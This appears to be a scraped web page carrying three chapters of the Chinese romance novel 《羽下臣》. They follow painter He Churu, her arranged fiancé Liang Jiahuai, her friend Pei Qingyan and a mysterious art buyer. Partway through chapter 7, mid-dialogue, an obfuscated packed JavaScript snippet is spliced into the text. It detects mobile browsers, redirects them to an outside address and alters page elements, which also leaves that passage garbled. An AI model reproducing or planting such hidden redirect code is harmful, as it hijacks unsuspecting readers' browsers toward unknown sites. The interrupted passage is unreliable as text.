《羽下臣》 7. 青梅引 喝茶的功夫,花厅另一侧,梁鹤归带来的那三幅字画已经着人展开,仔细挂在小叶紫檀的画架上。 均是纵轴的大写意画作,其中一幅《鱼戏莲叶图》为近代名家的作品,其余两幅都为残荷,看起来,是面对同一片荷塘不同角度所作。 笔精墨妙,以草书入画,能看出作画之人功底颇为深厚,虽是残荷晚阳的意境,却仍具傲世风骨。 即便如此,何初羽却品出一丝烈士暮年,无可奈何的伤感。 “这两幅画到我手里少说也有十几个年头了,只是一直在仓库收着,最近才重见天日,”梁鹤归说,“看这笔法必是大家所作,不过这上面没署名,时间太久画的来历也无从追寻,实在可惜。” 的确,何初羽端详着两幅画,构图相似,留白处都仅有狂狷墨迹题下的两句诗。 ‘城外秋荷一半黄,尚余疏柳照回塘。’ ‘秋阴不散霜飞晚,留得残荷听雨声。’ 分别出自南宋韩元吉和唐代李商隐。 余下唯有一枚章印,刻的也不是字,而是一个特殊的纹样,类似于木头的年轮,却并不那么规则。 何初羽隐隐觉得眼熟。 好像从哪里看到过,但一时半刻又难以忆起。 “怎么了小羽,”阎徽静见何初羽眸色不明的盯着这两幅画,“是有什么不妥吗。” “没有,”何初羽笑了下,只说,“佳作难得,一时看入神了。” “的确是难得,”阎徽静也似是若有所思,但很快便转而问道,“虽然时间还早,不过说起来,你的毕业创作有规划了吗。” “原本是打算画一幅泼墨山水,不过陈教授建议我还是准备大写意花鸟。” “他有这样的考量也是情理之中,”阎徽静叹口气,“目前现状就是工笔一家独大,写意与之相比不仅出作品难度高,作为文人画也更考验书法功底和文化底蕴,别说学生了,现在能专注这个方向的老师也越来越少。” “京美每年的毕业展,整个画界都盯着,陈岩恐怕是担心你们这一届出不了几幅写意作品,到时势必会引来一波非议。” “我明白,”何初羽看着面前的两幅残荷图,无奈叹息,“只是我这阵子在写意方面遇到瓶颈,很难生出灵感,画出来的作品有形无神,都无颜请您指点。” “遇到瓶颈再正常不过,不必过分担忧,”阎徽静看她懊恼的神情又笑,“现在既然回来了也别整天闷在屋里,多出去走走采采风,你困扰的或许就自然消散了。” “您说的对,我也是要抽时间出去一趟了。” “还有啊,你叫了我这么多年的老师,遇到困难就应当及时请教,而不是说什么无颜面对,”阎徽静虚空点了点她眉心,“今天既然来了,我就现场指点指点你。” “求之不得。” 何初羽眼梢略弯,由衷浮出些欢喜神色,跟着阎徽静来到厅中那张马蹄腿,霸王枨的画案前,铺好生宣,开始润笔调墨。 梁鹤归和安庆良在赏画品茶,梁嘉淮则是一个人靠在窗边的藤编摇椅上,拿了份报纸垂着眼,也不知是不是真的在看。 此时隔得远,更方便说点小话,阎徽静便低声道,“你近来状态不大好,是不是与你的婚事有关。” 其实也不尽然,但真说起来又觉得一言难尽,何初羽索性只笑了下,摇了摇头。 “新闻上都说你们订婚顺利,虽然你并没说什么,但我看这顺利倒是未必,”阎徽静拿镇纸将生宣压的更平整些,“是在跟你父亲置气,还是对这门婚事实在不满。” “谈不上什么满不满意,我从没见过他,想来他也并不中意我,”何初羽想起何年希说的,“估计过不了多久,也就不了了之了。” “你父亲既打定了主意让你去联姻,没有梁家也会是别家,还是早做打算比较好,”阎徽静将头朝她偏过去些,声音压得更低,“惟谦这孩子,你觉得如何。” 何初羽正执笔蘸墨的手顿了顿,看了眼正在摇椅上晃悠,与这花厅书香气息格格不入的梁嘉淮。 这人的确还是有几分中看的,但也就仅有些中看罢了。 她顿了顿,不答反问,“您觉得如何。” 阎徽静看出她心思,也不答,只笑道,“有时候以貌取人未必准确。” “以貌取人是不妥,但老师,”何初羽微笑着将视线转过去,“虽是暂时,但我目前仍有婚约在身,现在就要我接触别的男人,岂不是更不妥?” 听着温声软语的,实际上很有脾气,谁都扭她不过,阎徽静哧地笑了声,在一旁的圈椅上坐下,“只是接触接触而已,又不妨事,还是说,你其实更属意裴厅的儿子?” 她是见过裴青衍的,起初是在京北,那时他在京大读本科,常去美院看何初羽,后来听说是去了港城读研,回来后进了京北的红圈所。 也就是这次他们搬来江州养老,曾被安庆良提拔过,如今在省厅供职的部下携家人前来探望,阎徽静这才知道裴青衍的家世,也得知他如今跟几个合伙人在江州开了律所,已经不在京北工作了。 “说起来,这孩子家世不错,也是品貌俱佳,年轻有为,又跟你有从小长到大的情分,倒也般配,”阎徽静仔细盘算,“如果你真有此意也不错,结婚后既能生活在自己的家乡,还能离我近些,不像港城山高水远的,我也不知道多久才能见你一次。” 老太太最后那句埋怨似的嘀咕,听的何初羽险些发笑,“如果我真有此意,您还能帮我去退婚不成?” “这事关你终生的幸福,自然是能。” “怪不得您退休后京美的学生们都时常想念您呢,您真是我们最开明最体恤学生的好院长。” “这话可别让你们现在的张院听到了,吃醋又要给我打几通电话念叨,我可受不了,”阎徽静笑弯了眼睛,“不过你到底是怎么想的,可别因为怕麻烦我而藏着掖着。” “我跟他就是朋友而已,真没别的了,您别多想,如果到了需要的时候,我肯定第一个请您出马。” 何初羽保证似的承诺,这才哄的阎徽静放心,终于成功将这个话题渡了过去。 喝茶作画消磨了两个多小时,何初羽因要赶寺院晚课,来不及留下用晚餐,下午茶过后便起身告辞。 “也是,今天日子特殊,你最是不该懈怠的,”阎徽静点点头,“去吧,路上小心。” “惟谦,哎,梁惟谦,”梁鹤归忙喊,“别睡了,你不是开车来的吗,快起来去送送小羽。” 梁嘉淮还悠哉躺在窗边的摇椅上,手上的报纸此刻堪堪盖在脸上,遮住窗棂中透进的不规则阳光。 摇椅宽大,但他身量实在太长,躺在上面显得拘泥了些。 被梁鹤归的大嗓门吵醒后,他反应了几秒这名字才意识到是在喊自己,懒散应了声,扯掉报纸,理了理衣襟站起身。 没有推脱,但看起来不情不愿。 “不用麻烦了。” 梁鹤归话音刚落下,何初羽便立即婉拒,“我叫车回去很方便的。” “不麻烦,一点都不麻烦,”梁鹤归示意她宽心,“他就喜欢开车当司机,你就当送你是顺路,不要有负担。” 见何初羽有些犹疑地看了眼梁嘉淮,他又适时补充了句,“放心,这小子车技好着呢,一定平稳把你送到。” …… 如此这般费了些功夫,总算是把这两人一起送走,安庆良看着用尽浑身解数的梁鹤归,忍俊不禁,“为了小辈的婚事,你也是用心良苦。” “也不知道这小子脑子里一天都在想什么,”梁鹤归舒了口气,“我只求他别再犯混了,错过小羽这么好的姑娘,他指定后悔。” “年轻人的事,让他们自己解决,我们操再多心也没用,”阎徽静笑,又故作严肃,“不过老鹤,我可跟你说好了,如果小羽跟阿淮最后还是谈不拢,解除婚约的事就不能再拖延了,万一她中意的是我们家阿川这种类型,你们这不是平白耽误她青春吗,我可不答应。” “我说你怎么这么多年还在惦记这事啊,怪不得你今天也不直接介绍我是谁,白白让那个臭小子钻了空子。” 梁鹤归听不得这话,手背朝她胡乱摆了摆,拒绝的干脆,“阿淮小时候在姜家养了那么多些时日,也是要叫阿川一声大哥的,你这不是胡来吗。” “凡事都有先来后到,小羽注定是我们梁家的儿媳,你还是给你大外孙看看别家的女儿吧,都三十了,再等下去可要难找喽。” “什么先来后到,”阎徽静气到发笑,“小羽六岁就跟着我学画了,那时候你这个老头子在哪都不知道呢,还跟我讲起先来后到了,要不是何家狡猾你们梁家更是奸诈,瞒着消息就把事办了,我定不会让小羽去你们那个虎穴狼窝。” “现在这事已经板上钉钉,你再扯陈年往事也于事无补了,还是早点认清形势的好,”梁鹤归端起清茶啜了口,四平八稳的很是气人,“等到他们婚礼的时候,我一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223188|181614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定给你安排个最前面的座位,保准你看得一清二楚。” …… 屋内老顽童们拌嘴拌的有来有回的时候,何初羽已经坐上了梁嘉淮那辆跟她气质一点都不符的,张扬的耀银色拉法。 本来想着就在巷口分道扬镳,但又觉得几次三番拒绝既拂老人家的面子,又显得她矫情,于是也就没再多说什么。 好在她回港城的时候没少被何年希拉出去兜风,对跑车还算是熟悉,免去了在开关车门上遇到窘境,没给这个高高在上的花孔雀看笑话的机会。 车里内饰是比车外还要张扬醒目的红,进入的一瞬间,专属于梁嘉淮的那种锋利又繁复的新馥奇香调铺天盖地涌来,不由分说便侵满嗅觉。 这个人的一切好像都是这样,浮华奢靡又霸道至极,存在感极强,却在一片纸醉金迷中,隐隐透着些危险。 她做事向来追求稳妥和十足的把握,最忌讳这种随时都会失控的感觉,他们注定不是一个世界的人。 逃订婚那天的那种紧张和未知,是第一次,但她也希望是最后一次。 有些事,还是趁早说清楚的好。 “梁先生,”何初羽扣好安全带后开口,“我们今天……” “何小姐,”梁嘉淮却不接她的话,“晚课几点钟。” “五点。” 梁嘉淮瞥了眼中控台上的时间,下午三点五十。 大副墨镜被他随手往鼻梁上一架,模样痞气的很,“那时间看起来有点紧。” “时间够用的,不用太着急。” 何初羽也不是跟他客气,虽然江州很大,这里离法元寺也有些距离,但这个点不堵车,最多四十分钟就能到。 但梁嘉淮对她的话充耳不闻,发动机的轰鸣声响起,车子便如箭离弦般飞了出去。 推背感太过强烈,何初羽没来得及反应,免不得握了下扶手,无奈盯着前方稀疏的路况,忽然觉得有时候堵车也是件好事。 鹤老说的没错,他车技是不错,但说他会将她平稳送到简直大错特错。 本科时去珞北参加画展的记忆瞬时涌上,那个城市的出租车稳准狠的驾驶风格此刻仿佛在江州重温,甚至还要更甚一筹,如果不是有交规的约束,不知道还能狂野到哪里去。 可即便如此,驾驶的人却始终气定神闲,游刃有余。 何初羽用余光瞥他一眼,对这个人用以貌取人那一套真是再正确不过。 十足的纨绔。 一路风驰电掣般到了行阳山脚,梁嘉淮正想驶上山道,却被何初羽制止。 “停在这里就好,不用上去了。” 梁嘉淮堪堪踩住刹车,搭在方向盘上的指尖点了点,“这么热的天,你确定要步行上去?” “你这车太招摇,也太吵,”何初羽解开安全带,声音平淡,“恐扰了佛门清净。” 这么迷人的声浪,她竟然嫌吵,还真是不识货。 墨镜后的目光挪过去,这样堪称野蛮的一程下来,那张净瓷般的脸上竟是容色不改,依旧端庄持重,满头乌发都未曾散乱一根。 他刚饶有兴致地抬了抬眉,随后便看到她目光定格在了窗外的一处,微微一动。 他视线不由得跟着望去,看到一个修长儒雅的男人自一家店面掀帘走出,有一个拨打电话的动作,随之何初羽的手机便响了起来。 梁嘉淮认出那人,气压骤降,刚舒展的眉眼瞬间不耐压低。 他觉得自己是有什么大病,流星赶月般的给她送回来,反倒是给她和她的情人约会多争取了些时间。 这算什么事,合着真是来给她当司机的。 可笑至极。 “我先走了,多谢你送我回来。”何初羽看了眼来电显示,正准备抬手去开车门,却传来咔嗒的落锁声。 “这么着急走啊,”梁嘉淮声线轻飘飘的,很耐人寻味,“但何小姐,先前是不是还有些话还没讲完。” 何初羽皱眉看过去。 “如果你忘记了的话,那就由我来说。” 梁嘉淮摘下墨镜,侧过身,何初羽不耐迎上他目光,感受到那股馥奇香调如同靡乱波涛般朝她席卷而来。 “那天是我冒犯,”他开口,“今天饭桌上的事,我也很抱歉。” 很诚恳,但何初羽随即便看到那双深褐色的桃花眼轻佻一弯。 “不过不要误会,我只是讨厌绿颜色的蔬菜。” “不是对你不感兴趣。” 8. 青梅引 车子停在街边,络绎不绝的游客经过,新奇注视,驻足,偶尔有人拿出手机拍照。 何初羽不确定驾驶座墨色的车窗和挡风玻璃是否能真的挡住那些流连的目光,但她现在也无暇顾及这些,注意力全都在身旁这个男人身上。 语气和神情都跟他身上的巴洛克花纹一样轻佻浮浪,但那双直视着她的深褐色眼底,却透着一种截然相反的危险和占有。 与其说是对她感兴趣,不如说是势在必得。 可他们不过两面之缘,就他之前的那种狂妄气焰,哪能见得对她有一丝好感。 也不知道是受了什么刺激,顷刻之间竟有如此大的转变。 必然是居心叵测。 何初羽不动声色回避掉这直白目光,勉强回敬一个温淡疏离的微笑,“梁先生,我觉得有些情况您或许不太了解。” “事实上,我已经有婚约了。” “有,婚,约,了。”梁嘉淮盯着她,语气玩味地重复了一遍。 这种时候记得有婚约这回事,知道拿出来当挡箭牌了?她为了跟那个男人在一起而逃了和他的订婚礼的时候,可一点都没把婚约放在心上。 何初羽看着他眸光越来越晦涩,笑容中的嘲弄意味也越来越浓烈,正觉得异样,果然就听到他语出惊人。 “订婚了可以退,结婚了也可以离。” “区区婚约而已,何小姐,我不介意,”他玩味地扬下眉尾,“我想你应该也不大介意。” 大言不惭,堂而皇之,毫无底线。 把她何初羽当成什么了,他外面的那些闲花野草? “如果你闲的无聊想找消遣,请另寻他人,我这个人除了扫兴,别的什么都不会。” 何初羽一双美眸冷淡直视着他,语气平静如常,却多了些强硬的命令意味,“我要走了,把车门打开。” 她原就不是温柔那一挂的美人,气质唯清和冷二字,其中冷字更为偏重。 不知道是不是从小在寺院长大的缘故,她身上总少了些世俗人气,洁净清幽譬如月上芝兰,高不可攀,不容亵渎。 略动一分怒,便让人觉七分,自是望而生畏。 这样一株兰草,是该叫人高高捧着的。 气氛很僵,可梁嘉淮盯着她染了愠色的脸,却无端这样想。 明明有理由生气的人是他,却因着这个念头,莫名落了下风。 喉结滚了滚,梁嘉淮转回目光,压住冲动没多说什么。按下开锁的同时,将墨镜又架回到脸上,尽量让自己看起来有种很大度的松弛感。 “看来何小姐对我有很多误会,不过没关系,”他优雅地朝她抬了抬手指以示道别,“以后你可以慢慢了解我。” “不必,”何初羽头也不回地下车,“我们应该不会再见了。” “那可不见得,”梁嘉淮散漫搭着方向盘,“说不定我们有缘。” 有什么缘,何初羽听多了男人说这话,置若罔闻,利落关上车门走上人行道。 车内再不见第二个人的气息,梁嘉淮脸上浮着的那层无所谓的假笑也彻底消散。 头一回被人丝毫不给面子地甩了张了冷脸,胸口方才没发作的那股子气更是翻了倍的憋闷,但他却没立刻离开,视线反而一路目送着,看到她真就毫不避讳地朝那个男人走去。 交谈亲昵自然,与对待他的态度大相径庭。 再贴切点讲,是天壤之别。 不过就是个开奥迪的律师,长得也就那样,毫无一丝过人之处,与他相比,大概就胜在老实巴交。 当然这对他而言可算不上是优点。 梁嘉淮冷哼了声,不屑移开目光。 碍眼。 搁在一旁的手机这时响了下,是Simon发来的消息。 眸光飞速从屏幕中的文字掠过,他唇角轻佻勾了勾,眼底却划过一丝阴鸷。 发动车子前,梁嘉淮拨了通电话给梁鹤归,“请几天假,去海城办点事。” “你个衰仔最好是去办事,被我发现跑去玩可饶不了你!”梁鹤归暴躁的大嗓门从听筒那边传出。 “知啦。”梁嘉淮被吵地皱眉,揉了揉耳根。 很快一阵嚣张声浪轰鸣而过。 裴青衍望着何初羽方才下来的那辆拉法疾驰而去,镜片后的神色有些隐晦的变化,“你不是去看老师了吗,是谁送你回来的。” “老师的一个客人,刚好顺路,”何初羽没多做解释,“走吧,晚课快开始了。” 顺路能从城东的青田巷顺到城西的法元寺,听起来多少有些牵强。 但裴青衍听出她并不想在这个话题上停留,也就克制住没再多问。 他了解她,知道她在与人相处间,最是在意分寸。 他们性情有本质上的相似,他也一贯如此,哪怕是面对亲人,也总是有一方边界。 唯独到了她这里,守矩变得艰难,而逾矩却是更为不易。 恐一不小心,会连朋友都难做。 相比之下,如此克己复礼地在她身边坦然存在着,才是最佳选择。 并肩走了一阵,何初羽听到裴青衍的手机响起,但他仅仅是看了眼,便任由电话自动挂断。 此后电话又不间断地打进来几个,他也没有任何要接的意思。 天气燥热,风迎面而来,势头虽猛,却没带来半分凉意,反而是将人的发丝吹到四散纷飞。 何初羽偏头压着碎发躲风,无意瞥见他的来电显示,是裴母打来的。 “有要紧事?”她问。 “没事,不用担心,”裴青衍笑了下,果断将手机开了免打扰,“更何况今天这日子,没有能比来这里潜心礼佛更重要的事。” 何初羽闻言,也弯了下唇,“这原本就是我自己的事,却辛苦你年年都要跑这一趟。” “林阿姨生前一直都对我很好,我本就该来,”裴青衍看向她,神色无奈,“况且我们都认识二十余年了,小羽,你再说这样生分的话,我可要不高兴。” “这不叫生分,”何初羽走在树影里,脸上的神情仿佛也因为枝叶间光斑的跳跃而生动了些许,但说出的话却恰恰相反,“如果我太理所当然,久而久之就会变得不知好歹,岂不让人生厌。” “怎么会。”裴青衍摇下头。 他头疼的,是她从来都太知好歹。 其实这几日他心里多少存了那么些希冀,毕竟他刻意隐瞒了林家的事,眼睁睁看着她跟何家闹翻才告诉她线索在港城,让她错过了这样一条探寻真相极佳的捷径。 原以为她会因此而对他生起怨怼,导致两人关系一朝恶化,甚至提前想好了很多套解释道歉用的说辞,却意外的无一派上用场。 她这样的变化,不免让他觉得自己在她这里是不是终于有了那么些不同,她逃婚逃的那么义无反顾,会不会也有他的缘故在。 但终究是他妄想,她心中仍旧无红尘,更不曾有他丝毫。 不过没关系,他又想,既没有他,也不可能会有别人。 - 晚课照例在大殿。 今日因着是观音成道日,前来参与的信众较往日多了许多。 何初羽平日无事也会参加早晚共修,身心清净,明心见性,除了于她写字作画都颇有益处外,最是能帮她平稳心绪。 而今日前来却不为修心,实在是因为日子特殊。 自从林家出事后,林昭琼的身体就每况愈下,到了何初羽六岁的那年,几乎到了卧床不起的地步,但那时的她们根本拿不出多余的钱去住院治疗,全靠一位通药理的居士时常过来针灸,配了中药的方子调理着,勉强吊着些精气神。 但据当时的状况看来,无论如何也是时日无多。 彼时何初羽尚且年幼,终日因母亲的病容而惴惴不安,而自打记事起她就听人说,法元寺的菩萨最为灵验,又听人说,观世音菩萨素有大慈大悲,有求必应之名。 她无力为母亲做些别的什么,只能在一个夏夜偷偷跑去观音殿跪了一夜,祈求菩萨能让自己的母亲好起来。 那时她虽年纪小,但也知道求菩萨一定要心诚,不能太过贪心,于是便默默发愿,愿用终生食素不杀生,来换母亲身体十年康健。 原本只当是病急乱投医,却没想到自打那日过后,林昭琼的病情当真有了起色,帮她调理的居士摸着她的脉象也惊奇,之后又喝了大半载的中药,便几乎恢复如初。 后来她才知道,她跑去祈愿的那日,正巧是观音菩萨成道日。 再后来,到了她十六岁的那年,从林昭琼自己提前安排好后事,到她安然离世,期间相隔不过一周。 无论是什么样的机缘巧合,何初羽都清楚知道,她当初所求,终是圆满了。 虽仍旧遗憾,但与母亲多相处的这十年时间,原就是奢求来的。 愿既已满,就该还。 因此每年的六月十九,何初羽无论如何都会回到法元寺礼佛,裴青衍知晓这其中缘由,年年都会来陪她一起。 她也当真从祈愿那日便恪守誓言,从此再未沾过半分荤腥。 这件事过后她从不对人提及,旁人问起只说自己自幼不喜,何家人至今都当她是挑食,她也不解释,其实她通常都没有那么多的耐心,更别提去跟不相干的人多费口舌。 晚课一小时后结束,何初羽换下海青走出殿外时,裴青衍已经先一步出来,正站在不远处的樟树下打电话。 也不知是遇到了什么事,他言辞有些少见的激烈,还是看到何初羽正缓步走来才略收敛了些,匆匆应付了两句便将通话挂断。 “怎么了。”何初羽看他眉宇间愠色未消。 “家里有个推脱不掉的饭局,”裴青衍按了按疲倦的眉心,“抱歉小羽,今晚可能没办法陪你一起吃饭了。” “没关系,”何初羽让他宽心,“我们可以改天再约。” 今晚一起吃饭算是他们多年来的惯例,何初羽原本想趁今晚仔细问问他有关林家的事,不过看来时机还未到。 裴青衍无奈点下头,看着她,有些欲言又止。 “想说什么,”何初羽笑,“伯母抓你去相亲?” 她眸光通透,裴青衍嗤笑出声,“你怎么连 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她不愿成为这样一个角色,这种牵扯对她而言只是累赘,可裴青衍却是目前在查林家的这件事上,最值得信任,也最能帮得到她的人。 在事情办成之前,她不想有任何可能会干扰计划的人或事出现,包括她自己。 就比如那天,她得知他刻意对自己隐瞒真相后,权衡利弊,选择压下脾气隐忍不发。 其实很多时候,她庆幸自己打小在这样一个清修的环境中长大,能极早地让她寻到一种压制性恶的方法。 这么多年,若非强行让佛号在心中百转千回,她大概无法总是维持看上去的这样体面平和。 握在手中的手机忽然震动,唤回她的思绪。 是好友杨画缇打来的。 绷紧的神经找到了一个放松的由头,何初羽笑着接起,揶揄道,“终于想起联系我了,这是画展忙完了?” 两人是本科同学,在同个寝室住了四年,最是投缘,但杨画缇毕业后没选择继续深造,而是进了一个大型文化公司,当起了策展人。 她在艺术鉴赏方面比纯艺创作更有天赋,在这个行业里混的风生水起,如今也是小有成就了。 杨小姐最是八卦,之前就她最关注那些港媒小报,看到各种有关梁何两家联姻奇葩标题都要发来给她看,弄得何初羽无语又想笑。 不过这几天她在海城有个水墨艺术展,估计是忙的晕头转向了,才没顾上来骚扰她。 “没呢,一堆活还等着我,”杨画缇拖腔带调故作无力地说完,又话锋一转,“但我这不是忙里偷闲,打电话过来告诉你两个好消息嘛。” “什么?” “我这次下血本弄到两张F1的围场票,这周末你快来海城陪我去看比赛,这把我势必要蹲到我最爱的Carrier签名合照一条龙!噢激动!” 何初羽被她兴奋的声音逗乐,“看来杨大策展人最近事业飞升啊。” “你怎么知道,不过这还是托你的福啦,也是我要告诉你的另一个超级好消息,”杨画缇清了清嗓子,“你这次参展的那两幅画一幅字,有个买家全包了,无视你的定价直接出了一百个!怎么样,高不高兴。” “……这人是骗子吧。”何初羽确认她没开玩笑后,第一反应就是不靠谱。 她如今还没毕业,按照她的资历和目前的市场行情,一幅画能卖上大几万已经是超常发挥了,纵然她认为自己的艺术无价,但如果有人要花一百万来买她现在的作品,不是冤大头就是骗局。 “其实我刚开始也觉得是,但他付钱付的很痛快,骗子总不可能会按照正规流程交易吧,”杨画缇语气也是将信将疑,“不过他倒是又跟我谈了笔生意,我还没回复,得先问过你的意思。” “你说。” “这个老板似乎对你的画情有独钟,问我能不能联系你帮他多定制几幅,价格比起展上的这几幅只高不低。” “定制的话,具体要看他的要求,”何初羽说,“我不一定能接。” 她时不时也能接到定制画的邀约,只不过有的买家要求过于抽象和繁琐,沟通起来也不得力,她后来便对于这类合作很谨慎。 再加上也不了解这人是不是真的靠谱。 “没事,细节方面本来就是要坐下来慢慢聊的,”杨画缇说,“如果你有意向的话。” “其实我觉得愿意出高价的买家可遇不可求,你不是还想毕业开画廊的吗,或许可以试试看,”她补充,“说不定这一笔生意就能赚来画廊的启动资金。” 这话的确是有些说服力。 何初羽思忖片刻,“行,那你帮我跟他约时间吧,我最近都有空。” “Ok,到时候我陪你一起去,”杨画缇说,“能成功合作固然好,如果没谈拢也不要紧,就当是出门散散心了。” “放心,我没什么负担。”何初羽应道。 杨画缇的效率很高,不一会就发过来了见面的地点和时间。 【后天晚八点,海城泰丰楼。】 9. 青梅引 晚七点,海城新开的这间泰丰楼内已几乎座无虚席,衣香鬓影,喧闹随着阵阵丝竹透过雕花窗棂,染遍了整条凌江。 耀银色拉法张扬又流畅地停在富丽堂皇的大门口,主驾的蝴蝶门抬起,梁嘉淮长腿一迈下了车,径直走进大门,鞋底在夜色霓虹的掩映下,透出很风流的一抹红。 早在一旁等候的门童立刻很上道地去帮忙泊车,价值半个亿的座驾,很难不激动又忐忑。 梁先生是老板特意嘱咐过的贵客,侍者毕恭毕敬将他引到三楼正中间的雅座,桌上已经摆好泰丰楼独有的桂花酿,却没想到被要求撤下,换了壶小青柑上来。 这位看着也不像是什么口味清淡的主,竟还好茶? 侍者不解,但还是微笑照做。 澄红透亮的茶水在瓷杯中氤氲着热气,柑果香与熟普洱的陈香经由热气扩散,让空气也变得醇厚又清新。 梁嘉淮轻啜了口。 是好茶,先酸后甘,顺滑如丝,但他却觉得比起那天在阎老家的,多少还是差点意思。 泰丰楼本是京北上百年的老字号,糕点吃食出了名的讲究独到,而傲骨也是所有老字号中的独一份,多年来即便客满到要靠预约的程度,也只守着那一栋清雅老楼,从无扩大规模的意图。 国内外不少食客不远万里飞去京北,就为品尝一番这其间潜藏的珍馐美味。 而据说年初因为这酒楼背后隶属的家族换了位掌权人,泰丰楼也随着他的雷霆手段一起,于初夏时节在海城最繁华的地段拔地而起。 与京北店雅到极致的腔调感不同,海城的这间被誉为当代版樊楼,唐宋盛世的美学融入五层的仿古建筑内,吃喝娱性皆具,主打一个雅俗共赏,珠帘翠幕,乱花迷人眼。 整栋楼为环形的中空设计,一楼整体为一个超大型的水上舞台,二三层为屏风相隔的雅座,凭栏欣赏歌舞视角绝佳,三层往上便是封闭式的包间,宴请宾客用的。 台上歌舞正盛,琵琶师拨弦,在舞者们翩翩的衣袂间,与琴师合奏一首《春花秋月夜》。 姜予执到的时候,梁嘉淮正闲闲倚在座位里,捏着茶杯,望着舞台出神。 “还听上雅乐了,以前怎么不见你对这种地方感兴趣。” “这么久才来一趟,好歹要给老谈捧捧场。”梁嘉淮嗓音惫懒,将残茶搁在桌上。 茶差点意思,台上这古筝弹的也差点意思,菜还没上齐,他已经觉得有些无趣了。 “捧场,”姜予执哂了下,拉开椅子坐下,“我恐怕你是来砸场子的。” 上三层今晚被梁嘉淮全部包下,这层雅座里如今零散入座的客人,全部都是他的手下。 除了与他们遥遥相对的那间雅座。 漆红的雕花围栏后,暂时还空无一人。 “搞不出多大动静,”梁嘉淮双腿交叠,“那个二五仔今天就是带女人过来享受的,不可能有防备。” “行吧。”姜予执也不管他,衬衫袖子往上挽了几圈,直接开始动筷。 在录音棚耗了一整天,没来得及缓口气又被他直接叫来这里,肚子空了许久,可没他这种闲情逸致一门心思看表演。 一曲毕,短暂的寂静后,台上续上一首《平湖秋月》。 不知为何,梁嘉淮现在看到旁人抚琴,眼前都会自动浮现出何初羽的身影。 八年前,她十六岁,在一众陌生鄙夷的目光下,一曲《定风波》弹的势如破竹,有千军万马之势。 他从未听过那样磅礴肃杀的琴声,很难想象是出自那样柔软的指尖。 他想那便是他的父母,乃至爷爷都对她一眼中意的原因。 无论从任何角度来看,她都是最优秀完美,与他,与梁家最为适配的那个人。 这也是梁知炎头一次为他筹谋,要让他得到那个最好的。 可若是那个人还在。 喉结滚动了下,一阵突兀的烟瘾涌上,梁嘉淮刚想抬手去摸烟,但念及场合又硬生生压下。 他原就不是什么瘾重的人,只是忽然有些烦躁。 如今他改了主意,这婚不仅要结,还得让她爱上他,心甘情愿的结。 可从前让她空等那么多次,加上订婚宴他也没出现,虽是为了帮她,但她不明缘由,故而对自己的印象一定是差到了极致。 所以那天在阎老家,他头脑一热没说真名,反而报出了他那没几个人知道的小字,只为让她和他相处起来时,能少一分的芥蒂。 只是现在的情形也没比以前乐观多少。 虽然落了个风流的名声在外,但他从没追过女孩,也甚少打交道,即便是见多了身边公子哥那些讨女孩欢心的伎俩,却只因何初羽太不寻常,那些寻常手段于她而言都并不适用。 更何况她现在还心有所属。 梁嘉淮皱眉,指腹捻了捻,觉得现在这情况实在太过棘手,也太过的…一言难尽。 婚约还在,她是他名正言顺的未婚妻,可她同时也是别人的女朋友。 那他到底算是正宫,还是尚未上位的…小三? 他当即打断这个荒谬的想法,要论起来那个四眼律师才是第三者,青梅竹马又怎么样,他梁嘉淮就是后来者居上。 他暗自坚定这个想法,可多少还是有些没底气。 网上有句话怎么说的来着,不被爱的才是小三…… 艹。 姜予执慢条斯理吃着饭,并不晓得对面这人内心的天人交战,只看他盯着这高雅柔美的表演,脸色却是一阵红一阵白,又忽然一个幅度很大的转身,神色凝重地看过来。 “我有一个朋友……” 姜予执盛了碗鱼汤,淡淡应了声,“你又怎么了。” “你这人,”梁嘉淮啧了声,觉得他太不识趣,但想到什么,又很大度地摆摆手,“算了,你就是个单身八百年,好不容易谈次恋爱还被女仔给甩了的人,跟你说了也没用。” 姜予执被呛了下,勺子随手撇回瓷碗里,面色不善地盯着他。 还真是不能提,一提就翻脸,梁嘉淮只得换上副笑脸,“好吧,那我就替那个朋友勉强请教你一下。” “挖人墙角,具体要怎么做。” 姜予执沉默着换了个坐姿,打量他的神色,“当初还信誓旦旦要舍己为人,现在才过了多久就要棒打鸳鸯了。” “什么棒打鸳鸯,他们怎么就是鸳鸯了,不是,”梁嘉淮意识到自己说漏了嘴,赶忙故作正经地用指节敲了敲桌子,“跟我有什么关系,我都说了我是帮我那个朋友问的,别老往我身上扯,我梁嘉淮说一不二,怎么可能干这种掉价的事。” “行,既然跟你没关系,那我也懒得操别人的闲心,”姜予执看了眼时间,拿起手机起身,“我还有工作,先回棚里了。” “不是你真走啊,”梁嘉淮喊他,“是不是兄弟讲不讲义气了。” “你这么临时叫我,我能出现都不错了,”姜予执拍了拍他肩膀径直离开,“早说了,有事提前三天预约。” “真行。”梁嘉淮气得捡了颗荔枝砸过去,却被对方轻松接住,很悠哉地说了句多谢。 没劲,他靠回座椅里,夹了颗龙井虾仁放嘴里慢慢嚼,正觉无聊,就看到一个肥佬领着两个身型高大,保镖似的人物出现在那间空闲已久的雅座里。 终于现身了。 既然胆子大到敢回来,就该知道再多带多少保镖都是无用,梁嘉淮眯了眯眼,正想让手下人准备动手,而此刻视野里却又出现了另一抹身影。 珠玉般的肌肤,黑发如绸,墨绿色的长裙也是绸缎质地,乍眼望去比周遭景致多了一份的光泽感,走到哪处,哪处就仿佛被点亮了一般,显得更为明艳动人。 她怎么来了。 梁嘉淮赶忙让手下先按捺下来,眼睁睁看着她走进那间雅座,在那个肥佬几乎谄媚的邀请下,抚裙坐在桌前。 - 杨画缇说买画的那位曲老板约她们在泰丰楼见面。 因着是展览最后一天,有许多收尾工作需要处理,她就将见面时间约在了晚上八点。 何初羽陪着她忙完,两人上车让司机在晚高峰中紧赶慢赶,几乎是掐着点才到,但还没下车,杨画缇的手机又催命似的响,她新招的助理处理剩下的那些琐碎事务时捅了篓子,慌张向她求助。 